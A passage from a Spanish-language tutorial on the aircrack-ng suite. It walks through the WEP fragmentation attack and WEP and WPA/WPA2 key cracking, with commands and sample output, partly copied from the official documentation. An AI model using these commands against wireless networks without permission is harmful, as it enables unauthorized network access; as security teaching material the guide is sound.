Korek son más vulnerables ante los ataques de Fragmentación. Lo primero que haremos
será poner nuestra tarjeta en modo monitor:

Código:
airmon-ng start interfaz

No creo que haga falta explicar este comando de nuevo. Después, iniciamos airodump-
ng para capturar paquetes:

Código:
airodump-ng --channel --w prueba ath0
Bien, llegados a este punto, necesitamos un cliente conectado. Ya sabéis, si tenéis
alguien conectado, genial, si no, hacéis una autenticación falsa (-1) y ya está. Una vez
nos hemos autenticado de forma falsa o no lo hemos hecho porque ya teníamos un
cliente conectado, procedemos a hacer el ataque de Fragmentación:

[aireplay-ng -5 -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY interfaz]

Explico el comando:

-5= Especificamos a aireplay-ng que vamos a realizar el ataque 5.


-b XX:XX:XX:XX:XX:XX= Es el BSSID del AP.
-h YY:YY:YY:YY:YY:YY= Es la dirección MAC del cliente conectado.
interfaz= Tu interfaz wifi.

El ataque empezará a leer paquetes y seleccionará uno que será fragmentado y mandado
al AP. Si el AP responde, el ataque habrá sido exitoso y se irán obteniendo bits hasta
obtener los 1500 bits de un PRGA. Una vez obtenidos los 1500 bits, el programa nos
informará de que ya tenemos nuestro xor y podremos empezar a forjar nuestros
paquetes con el packetforge-ng. Este ataque no tiene éxito siempre, de hecho no he
conseguido que me saliera en toda la tarde pero aún así, os pongo una captura de
pantalla (propia) y el mensaje que nos tendría que salir al conseguir los 1500 bits del
keystream.
Código:
Saving chosen packet in replay_src-0124-161120.cap
 Data packet found!
 Sending fragmented packet
 Got RELAYED packet!!
 Thats our ARP packet!
 Trying to get 384 bytes of a keystream
 Got RELAYED packet!!
 Thats our ARP packet!
 Trying to get 1500 bytes of a keystream
 Got RELAYED packet!!
 Thats our ARP packet!
 Saving keystream in fragment-0124-161129.xor
 Now you can build a packet with packetforge-ng out of that 1500 bytes
keystream

Una vez hemos conseguido nuestro xor, con el paquetforge-ng realizamos una petición
ARP y la reinyectamos con el ataque -2 tal y como hizimos con el ataque Chopchop.

[AIRCRACK-NG]~
Aircrack-ng es el programa que nos va a crackear la clave de nuestra red una vez
hayamos conseguido los suficientes IV's (vectores de inicialización). Aircrack-ng puede
sacarnos, no solo la clave en cifrado WEP si no también en cifrado WPA o WPA2-PSK.
Para estas dos últimas necesitaremos un diccionario.
Os muestro una captura del programa para describiros sus partes:

1.- Keybyte: Es el número de cada uno de los bytes de la clave WEB.


2.- Depth: Profundidad de la busqueda de nuestra clave.
3.- Byte: Carácter que aircrack está probando.
4.- Vote: Probabilidades de que sea correcto el byte.
5.- Key Found: Clave encontrada en hexadecimal y en ASCII.

A continuación os hago Copy/Paste literal de la página oficial de aircrack, donde lo


explican más y mejor sobre esta herramienta. Espero que no os moleste que no sea de
mi cosecha pero es que estando tan bien como en la página no merece la pena escribirlo.

Cuando se usan técnicas estadísticas para crackear claves WEP, cada byte de la clave es
tratado de forma individual. Usando matemáticas estadísticas, la posibilidad de que
encuentres un byte determinado de la clave crece algo más de un 15% cuando se captura
el vector de inicialización (IV) correcto para ese byte de la clave. Esencialmente, ciertos
IVs “revelan” algún byte de la clave WEP. Esto es básicamente en que consisten las
técnicas estadísticas.

Usando una serie de pruebas estadísticas llamadas FMS y ataques Korek, se van
acumulando posibilidades o votos (votes) para cada byte de la clave WEP. Cada ataque
tiene un número diferente de votos asociado con él, por lo que la probabilidad de cada
ataque varia matemáticamente. Cuantos más votos tengamos de un byte o valor
particular, mayor probabilidad hay de que sea el correcto. Para cada byte de la clave, la
pantalla nos muestra el caracter más probable y el número de votos que ha acumulado.
Sobra decir, que la clave que tenga el mayor número de votos es la que más
probabilidades tiene de ser la correcta, pero no está garantizado. Aircrack-ng probará
continuamente de la más probable a la menos probable para encontrar la clave.

Usando un ejemplo entenderemos esto de forma más clara. En la anterior captura de


pantalla, puedes ver, que para el primer caracter o byte 0, 0xAE ha obtenido unos
cuantos votos, 50 exactamente. Entonces, matemáticamente, es más probable que la
clave comience por AE que por 11 (el segundo valor en la misma linea) que es el
siguiente con más posibilidades. Esta es la razón por la cual cuantos más paquetes
tengas, más fácil será para aircrack-ng determinar la clave WEP.

La aproximación estadística puede por si sola darnos la clave WEP de la red. Pero la
idea es que tambien podemos complementarlo con la fuerza bruta para realizar el
trabajo. Aircrack-ng usa la fuerza bruta para determinar cuantas claves se han de probar
para intentar encontrar la clave WEP.

Aquí es donde entra en juego el “fudge factor”. Basicamente el “fudge factor” le dice a
aircrack-ng hasta donde probar claves. Es como si quisiesemos encontrar un balón
diciéndole a alguien que el balón se puede encontrar entre 0 y 10 metros alrededor. Pero
si le decimos que el balón se encuentra entre 0 y 100 metros alrededor. En este
escenario de 100 metros le llevará mucho más tiempo realizar la búsqueda pero tendrá
más posibilidades de encontrarlo.

Por ejemplo, si le decimos a aircrack-ng que use un fudge factor de 2, dividirá los votos
del byte más probable, y probará todas las posibilidades con un número de votos de al
menos la mitad de los que tiene el caracter más posible. Cuanto mayor sea el fudge
factor, más posibilidades probará aircrack-ng aplicando fuerza bruta. Recuerda, que
cuanto mayor sea el fudge factor, el número de claves a probar crecerá tremendamente y
mayor será el tiempo que se esté ejecutando aircrack-ng. En cambio, cuantos más
paquetes de datos tengas, minimizarás la necesidad de aplicar fuerza bruta a muchas
claves, lo que hace que no trabaje tanto tiempo la CPU y se reduce mucho el tiempo
necesario para encontrar la clave.

Al final, es todo “muy simple” matemáticas y fuerza bruta!

Las técnicas mencionadas hasta ahora no funcionan para claves WPA/WPA2 pre-
shared. La única forma de crackear estas claves pre-compartidas (pre-shared) es a través
de un ataque de diccionario. Esta capacidad está tambien incluida en aircrack-ng.

Con claves pre-compartidas, el cliente y el punto de acceso establecen las claves que se
van a usar en sus comunicaciones al comienzo cuando el cliente se asocia por primera
vez con el punto de acceso. Hay cuatro paquetes “handshake” entre el cliente y el punto
de acceso. airodump-ng puede capturar estos cuatro paquetes handshake. Y usando un
diccionario con una lista de palabras, aircrack-ng duplica los cuatro paquetes handshake
para mirar si hay alguna palabra en el diccionario que coincida con el resultado de los
cuatro paquetes handshake. Si lo consigues, habrás identificado de forma satisfactoria la
clave pre-compartida.

Hay que resaltar que este programa hace un uso muy intensivo del procesador del
ordenador, y que en la práctica claves WPA pre-compartidas muy largas o inusuales no
podrán ser encontradas . Un buen diccionario te dará mejores resultados. Otra
posibilidad es usar un pograma como “john the ripper” para generar contraseñas que
podrán ser utilizadas por aircrack-ng.

Explicación de la profundidad (depth) y del Fudge Factor


La mejor explicación es un ejemplo. Nos fijaremos en un byte en concreto. Todos los
bytes son tratados de la misma manera.

Tu tienes los votos (votes) como en la captura de pantalla anterior. Para el primer byte
ves lo siguiente: AE(50) 11(20) 71(20) 10(12) 84(12)

Los AE, 11, 71, 10 y 84 son los valores posibles de la clave para el primer caracter (byte
0). Los números que están entre paréntesis son los votos que cada posible valor ha
acumulado hasta ahora.

Ahora si decides usar un “fudge factor” de 3. Aircrack-ng realizará la siguiente


operación a partir del byte que tiene más probabilidades o votos: AE(50):

50 / 3 = 16.666666

Aircrack-ng probará (fuerza bruta) todas las claves posibles que tengan un número de
votos superior a 16.6666, resultando que

AE, 11, 71

serán utilizados, por lo que tenemos un número total de 3 valores a probar para ese byte
o caracter (depth):

0 / 3 AE(50) 11(20) 71(20) 10(12) 84(12)

Cuando aircrack-ng está probando claves con AE, muestra 0 / 3, cuando acabe de probar
todas las claves con ese byte, pasará al siguiente con más votos (11 en este ejemplo) y
mostrará:

1 / 3 11(20) 71(20) 10(12) 84(12)

USO:
Código:
aircrack-ng [opciones] <archivo(s) de captura>

Puedes especificar múltiples archivos de captura (incluso mezclando formatos .cap y


.ivs). También se puede ejecutar airodump-ng y aircrack-ng al mismo tiempo: aircrack-
ng se actualizará de forma automática cuando estén disponibles nuevos IVs.

Aquí está la explicación para todas y cada una de las opciones disponibles:
EJEMPLOS DE USO:
El caso más simple es crackear una clave WEP. Si quieres probar esto por ti mismo,
aquí tienes un archivo de prueba. La clave de este archivo de prueba coincide con la de
la pantalla anterior de este tutorial, pero no coincide con la del siguiente ejemplo.

aircrack-ng 128bit.ivs
Donde:

128bit.ivs es el nombre del archivo que contiene los ivs.


El programa responde:

Código:
Opening 128bit.ivs
 Read 684002 packets.

 #  BSSID              ESSID                     Encryption

 1  00:14:6C:04:57:9B                            WEP (684002 IVs)

 Choosing first network as target.

Si hay múltiplies redes en el archivo, entonces tendrás la opción de seleccionar la que


quieras. Por defecto, aircrack-ng supone que la cifrado es de 128 bit.

El proceso de crackeo comienza, y una vez obtenida la clave, verás algo como esto:

Código:
Aircrack-ng 0.7 r130

                              [00:00:10] Tested 77 keys (got 684002


IVs)

 KB    depth   byte(vote)


  0    0/  1   AE( 199) 29(  27) 2D(  13) 7C(  12) FE(  12) FF(   6)
39(   5) 2C(   3) 00(   0) 08(   0)
  1    0/  3   66(  41) F1(  33) 4C(  23) 00(  19) 9F(  19) C7(  18)
64(   9) 7A(   9) 7B(   9) F6(   9)
  2    0/  2   5C(  89) 52(  60) E3(  22) 10(  20) F3(  18) 8B(  15)
8E(  15) 14(  13) D2(  11) 47(  10)
  3    0/  1   FD( 375) 81(  40) 1D(  26) 99(  26) D2(  23) 33(  20)
2C(  19) 05(  17) 0B(  17) 35(  17)
  4    0/  2   24( 130) 87( 110) 7B(  32) 4F(  25) D7(  20) F4(  18)
17(  15) 8A(  15) CE(  15) E1(  15)
  5    0/  1   E3( 222) 4F(  46) 40(  45) 7F(  28) DB(  27) E0(  27)
5B(  25) 71(  25) 8A(  25) 65(  23)
  6    0/  1   92( 208) 63(  58) 54(  51) 64(  35) 51(  26) 53(  25)
75(  20) 0E(  18) 7D(  18) D9(  18)
  7    0/  1   A9( 220) B8(  51) 4B(  41) 1B(  39) 3B(  23) 9B(  23)
FA(  23) 63(  22) 2D(  19) 1A(  17)
  8    0/  1   14(1106) C1( 118) 04(  41) 13(  30) 43(  28) 99(  25)
79(  20) B1(  17) 86(  15) 97(  15)
  9    0/  1   39( 540) 08(  95) E4(  87) E2(  79) E5(  59) 0A(  44)
CC(  35) 02(  32) C7(  31) 6C(  30)
 10    0/  1   D4( 372) 9E(  68) A0(  64) 9F(  55) DB(  51) 38(  40)
9D(  40) 52(  39) A1(  38) 54(  36)
 11    0/  1   27( 334) BC(  58) F1(  44) BE(  42) 79(  39) 3B(  37)
E1(  34) E2(  34) 31(  33) BF(  33)

           KEY FOUND! [ AE:66:5C:FD:24:E3:92:A9:14:39:D4:27:4B ]

Esta clave puede ser usada para conectarse a la red.

Ahora para crackear claves WPA/WPA2:

aircrack-ng -w password.lst *.cap


Donde:

-w password.lst es el nombre del diccionario con la lista de palabras. Recuerda que


tienes que especificar la ruta completa si el archivo no se encuentra en el directorio
actual.
*.cap es el nombre de los archivos que contienen los ivs. Date cuenta que en este caso
usamos el comodín * para incluir múltiples archivos.
El programa responde:

Código:
Opening wpa2.eapol.cap
 Opening wpa.cap
 Read 18 packets.

 #  BSSID              ESSID                     Encryption

 1  00:14:6C:7E:40:80  Harkonen                  WPA (1 handshake)


 2  00:0D:93:EB:B0:8C  test                      WPA (1 handshake)

 Index number of target network ?

Date cuenta que en este caso como hay dos redes necesitamos seleccionar la que
queremos atacar. Escogeremos la número 2. El programa entonces responde:

Código:
                               Aircrack-ng 0.7 r130

                 [00:00:03] 230 keys tested (73.41 k/s)

                         KEY FOUND! [ biscotte ]

    Master Key     : CD D7 9A 5A CF B0 70 C7 E9 D1 02 3B 87 02 85 D6
                     39 E4 30 B3 2F 31 AA 37 AC 82 5A 55 B5 55 24 EE

    Transcient Key : 33 55 0B FC 4F 24 84 F4 9A 38 B3 D0 89 83 D2 49
                     73 F9 DE 89 67 A6 6D 2B 8E 46 2C 07 47 6A CE 08
                     AD FB 65 D6 13 A9 9F 2C 65 E4 A6 08 F2 5A 67 97
                     D9 6F 76 5B 8C D3 DF 13 2F BC DA 6A 6E D9 62 CD

    EAPOL HMAC     : 52 27 B8 3F 73 7C 45 A0 05 97 69 5C 30 78 60 BD

APROXIMACIÓN GENERAL PARA CRACKEAR CLAVES


WEP:
La forma más simple es escribir “aircrack-ng archivo.cap”. Tenemos que decir que hay
algunas técnicas para aumentar las posibilidades de encontrar la clave WEP
rápidamente. Pero no existe la magia. A continuación se describen algunos métodos
para obtener la clave más rápido.

La mejor de todas las técnicas es capturar tantos paquetes como sea posible; cuantos
más mejor. Esto es lo más sencillo y lo más importante. El número de vectores de
inicialización (IVs) que se necesitan para obtener una clave WEP varia dependiendo de
la longitud de la clave y del punto de acceso de que se trate. Habitualmente se necesitan
250,000 o más IVs para claves de 64 bit y 1.5 millones o más para claves de 128 bit. Y
por supuesto que muchos más para claves más largas. Pero si tenemos suerte, hay veces
que la clave WEP se puede obtener con 50,000 IVs o menos. Aunque esto no ocurre con
frecuencia. Y al revés, habrá veces en las que se necesitarán varios millones de IVs para
crackear la clave WEP. El número de IVs necesarios es muy dificil de predecir porque
la mayoría de los puntos de acceso actuales funcionan muy bien y no generan IVs
débiles que revelen parte de la clave WEP.

Generálmente, no intentes crackear la clave WEP hasta que tengas 200,000 o más IVs.
Si lo ejecutas con pocos IVs, aircrack probará muchas claves durante mucho tiempo y
no aplicará las técnicas estadísticas de forma adecuada. Puedes empezar probando con
claves de 64 bit “aircrack-ng -n 64 archivo.cap”. Si se está usando una clave WEP de 64
bit, normalmente será crackeada en menos de 5 minutos (y con frecuencia en menos de
60 segundos) con pocos IVs. Es sorprendente que haya tantos APs que usan claves de
64 bit. Si no encuentras la clave de 64 bit en 5 minutos, reinicia aircrack con el modo
genérico: “aircrack-ng archivo.cap”. Y cada vez que tengas 100,000 IVs más, reintenta
“aircrack-ng -n 64 archivo.cap” y déjalo 5 minutos.

Cuando llegues a 600,000 IVs, cambia y empieza a probar claves de 128 bit. Sería
extraño (pero no imposible) que fuese una clave de 64 bit y no se diese crackeado con
600,000 IVs. Por lo tanto ahora prueba “aircrack-ng archivo.cap”.
Cuando llegues a 2 millones de IVs, prueba a cambiar el fudge factor a ”-f 4”. Y déjalo
entre 30 minutos y una hora. Reintenta aumentando el fudge factor sumando 4 de cada
vez. Otra buena ocasión para aumentar el fudge factor es cuando aircrack-ng se para
porque ha probado todas las claves.

Y mientras tanto, no te olvides de seguir capturando paquetes de datos. Recuerda la


regla de oro, “cuantos más IVs mucho mejor”.

También lee la siguiente sección sobre como determinar las mejores opciones a usar.
Esto te puede ayudar tambien a acelerar el proceso de obtención de la clave WEP. Por
ejemplo, si la clave es numérica, podremos crackear la clave WEP con muchísimos
menos IVs si usamos la opción ”-t”. Entonces, si averiguas algo acerca de la naturaleza
de la clave WEP, es sencillo probar algunas variaciones para tener éxito.

COMO DETERMINAR LAS MEJORES OPCIONES A USAR:


Mientras aircrack-ng se está ejecutando, frecuentemente solo puedes ver el comienzo de
la clave en la primera columna. Aunque no conoces la clave WEP, esta información
puede darte pistas sobre cual es la clave. si un caracter o byte de la clave tiene un
número muy grande de votos, hay un 99.5% de posibilidades de que sea correcto.
Vamos a ver que se puede hacer con estas pistas.

Si los bytes son por ejemplo: 75:47:99:22:50 entonces es obvio que la clave está
formada solo por números, como los 5 primeros bytes. Por lo tanto obtendremos la
clave mucho antes y con menos IVs usando la opción -t para probar únicamente este
tipo de claves. Mira Wikipedia Binary Coded Decimal para ver una descripción de los
caracteres que busca la opción -t.

Si los bytes son 37:30:31:33:36 estos son todos valores numéricos si los convertimos a
Ascii (70136). En este caso, es una buena idea usar la opción -h. El link del FAQ
Converting hex characters to ascii te da información para relacionar los caracters
hexadecimales con los Ascii. De todas formas sabremos muy fácilmente que se trata de
caracteres numéricos porque veremos que empiezan todos los bytes por 3.

Y si los primeros bytes son algo como esto 74:6F:70:73:65, deberias de introducir esos
valores en tu editor hexadecimal favorito o en alguno de los links proporcionados
anteriormente, y verás, que puede ser el comienzo de alguna palabra, por lo que parece
que está usando una clave ASCII; en esta situación activa la opción -c para probar
únicamente con claves ASCII.

OTRAS PISTAS:
Para procesar varios archivos al mimso tiempo, se puede usar un cmodín como el * o
especificar cada archivo uno por uno.

Ejemplos:

1.- aircrack-ng -w password.lst wpa.cap wpa2.eapol.cap


2.- aircrack-ng *.ivs
3.- aircrack-ng archi*.ivs
Determinar una clave WPA/WPA2 depende absolutamente de que la palabra se
encuentre en el diccionario que usemos. Por lo que es muy importante usar un buen
diccionario. Puedes buscar en Internet algún diccionario. Hay varios disponibles.

Como has visto, si hay varias redes en tus archivos necesitarás elegir la que quieres
crackear. En lugar de hacerlo manualmente, puedes especificar la red que quieras en la
linea de comandos indicando su essid o su bssid. Esto se hace con las opciones -e o -b.

Otra alternativa es usar “John the Ripper” para crear un diccionario específico. Si sabes
que la palabra clave es el nombre de una calle además de 3 digitos. Puedes crear una
regla en JTR y ejecutar un comando como este:

Código:
john --stdout --wordlist=specialrules.lst --rules | aircrack-ng -e
test -a 2 -w - /root/capture/wpa.cap

Código:
Fuente: http://www.aircrack-ng.org/doku.php?id=aircrack-ng.es

[AIRDECAP-NG]~
Aquí también voy a pecar de hacer Copy/Paste de la página oficial ya que no hay mucho
que decir acerca de este programa y después de varias semanas trabajando en esta guía
he de decir que me encuentro un poco cansado.

Con airdecap-ng puedes descifrar archivos capturados que tengan cifrado


WEP/WPA/WPA2. Tambien puede ser usado para ver la cabecera de una captura
wireless sin cifrado.

USO:
Código:
airdecap-ng [opciones] <archivo cap>

EJEMPLOS DE USO:
El siguiente comando elimina las cabeceras wireless de una captura de una red sin
cifrado:

Código:
airdecap-ng -b 00:09:5B:10:BC:5A red-abierta.cap

El siguiente comando descifra un archivo con cifrado WEP usando la clave


hexadecimal:

Código:
airdecap-ng -w 11A3E229084349BC25D97E2939 wep.cap

El siguiente comando descifra un archivo con cifrado WPA/WPA2 usando la palabra o


“passphrase”:

Código:
airdecap-ng -e 'the ssid' -p passphrase  tkip.cap

RECOMENDACIONES DE USO:
Para ESSIDs que contengan espacios, escribe el ESSID entre comillas: 'este contiene
espacios'.

Código:
Fuente: http://www.aircrack-ng.org/doku.php?id=airdecap-ng.es

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